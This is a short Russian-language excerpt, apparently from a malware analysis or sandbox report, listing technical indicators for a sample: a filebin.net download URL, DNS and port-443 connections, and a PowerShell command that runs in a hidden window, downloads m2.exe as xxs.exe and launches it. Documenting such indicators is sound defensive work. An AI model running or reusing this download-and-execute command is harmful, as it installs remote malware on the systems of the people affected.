Техническая информация
- https://filebin.net/jk866vgzexwn31m6/m2.exe?t=ugr94rej как xxs.exe
- 'fi##bin.net':443
- DNS ASK fi##bin.net
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' /c (new-object System.Net.WebClient).DownloadFile('https://filebin.net/jk866vgzexwn31m6/m2.exe?t=ugr94rej','xxs.exe'); Start-Process 'xxs.exe'' (со скрытым окном)